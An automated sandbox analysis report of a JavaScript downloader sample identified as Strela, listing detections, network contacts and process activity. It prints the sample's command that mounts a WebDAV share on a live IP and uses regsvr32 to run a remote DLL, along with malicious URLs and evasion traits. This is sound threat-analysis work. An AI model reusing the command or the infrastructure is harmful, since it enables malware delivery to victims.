Windows Analysis Report
6042109671038401.js

Overview

General Information

Sample name: 6042109671038401.js
Analysis ID: 1560608
MD5: 98fca8fcdd0ca4d9d83555adf84688db
SHA1: dc66af5b91a9096d51cfc8de1aaee9348f705bf0
SHA256: 1066efeee0ce0091820dc442b31f9739b3147771893f2bddc07aa15d7d1fcfbe
Tags: jsuser-cocaman
Infos:

Detection

Strela Downloader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
JScript performs obfuscated calls to suspicious functions
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Yara detected Strela Downloader
Gathers information about network shares
JavaScript file contains Antivirus product strings
Sigma detected: WScript or CScript Dropper
Uses known network protocols on non-standard ports
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Found WSH timer for Javascript or VBS script (likely evasive script)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Program does not show much activity (idle)
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: Cscript/Wscript Potentially Suspicious Child Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Classification

AV Detection
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Antivirus detection for URL or domain
Source: http://94.159.113.79:8888/B Avira URL Cloud: Label: phishing
Multi AV Scanner detection for domain / URL
Source: http://94.159.113.79:8888/f Virustotal: Detection: 13% Perma Link
Multi AV Scanner detection for submitted file
Source: 6042109671038401.js Virustotal: Detection: 17% Perma Link

Networking
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Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 8888
Source: unknown Network traffic detected: HTTP traffic on port 8888 -> 49730
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49730 -> 94.159.113.79:8888
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 94.159.113.79 94.159.113.79
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: NETCOM-R-ASRU NETCOM-R-ASRU
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.79
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.79
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.79
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.79
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.79
Source: net.exe, 00000003.00000002.1709612667.000001883162C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1709612667.00000188315E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1709612667.000001883160C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.79:8888/
Source: net.exe, 00000003.00000002.1709612667.000001883160C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.79:8888/B
Source: net.exe, 00000003.00000002.1709612667.000001883160C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.79:8888/Z
Source: net.exe, 00000003.00000002.1709612667.000001883160C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.79:8888/f
Source: net.exe, 00000003.00000002.1709612667.00000188315E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.79:8888/pace
Source: net.exe, 00000003.00000002.1709612667.00000188315E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.79:8888/wL
Source: net.exe, 00000003.00000002.1709612667.000001883160C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.79:8888/z

Spam, unwanted Advertisements and Ransom Demands
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Yara detected Strela Downloader
Source: Yara match File source: amsi64_5288.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: wscript.exe PID: 5288, type: MEMORYSTR

System Summary
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Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Java / VBScript file with very long strings (likely obfuscated code)
Source: 6042109671038401.js Initial sample: Strings found which are bigger than 50
Source: classification engine Classification label: mal100.rans.troj.spyw.evad.winJS@6/0@0/1
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6040:120:WilError_03
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 6042109671038401.js Virustotal: Detection: 17%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6042109671038401.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\ && regsvr32 /s \\94.159.113.79@8888\davwwwroot\18238315982036.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.79@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\ && regsvr32 /s \\94.159.113.79@8888\davwwwroot\18238315982036.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.79@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: jscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: drprov.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: ntlanman.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: davclnt.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: davhlpr.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32 Jump to behavior

Data Obfuscation
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JScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.Shell");IWshShell3.Run("cmd /c net use \\94.159.113.79@8888\davwwwroot\ && regsvr32 /s \\94.159.11", "0", "false")

Hooking and other Techniques for Hiding and Protection
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Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 8888
Source: unknown Network traffic detected: HTTP traffic on port 8888 -> 49730
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\net.exe TID: 4304 Thread sleep time: -30000s >= -30000s Jump to behavior
Program does not show much activity (idle)
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: net.exe, 00000003.00000002.1709612667.0000018831639000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW`]1
Source: net.exe, 00000003.00000002.1709612667.00000188315E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1709612667.0000018831639000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Program does not show much activity (idle)
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

HIPS / PFW / Operating System Protection Evasion
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JavaScript file contains Antivirus product strings
Source: 6042109671038401.js Initial file: drweb, eset, avg
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\ && regsvr32 /s \\94.159.113.79@8888\davwwwroot\18238315982036.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.79@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
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Gathers information about network shares
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\ && regsvr32 /s \\94.159.113.79@8888\davwwwroot\18238315982036.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.79@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\ && regsvr32 /s \\94.159.113.79@8888\davwwwroot\18238315982036.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.79@8888\davwwwroot\ Jump to behavior
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1560608 Sample: 6042109671038401.js Startdate: 22/11/2024 Architecture: WINDOWS Score: 100 20 Multi AV Scanner detection for domain / URL 2->20 22 Antivirus detection for URL or domain 2->22 24 Multi AV Scanner detection for submitted file 2->24 26 4 other signatures 2->26 7 wscript.exe 1 1 2->7         started        process3 signatures4 28 JScript performs obfuscated calls to suspicious functions 7->28 30 Windows Scripting host queries suspicious COM object (likely to drop second stage) 7->30 32 Gathers information about network shares 7->32 10 cmd.exe 1 7->10         started        process5 signatures6 34 Gathers information about network shares 10->34 13 net.exe 1 10->13         started        16 conhost.exe 10->16         started        process7 dnsIp8 18 94.159.113.79, 49730, 8888 NETCOM-R-ASRU Russian Federation 13->18
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
94.159.113.79
 unknown Russian Federation
49531 NETCOM-R-ASRU true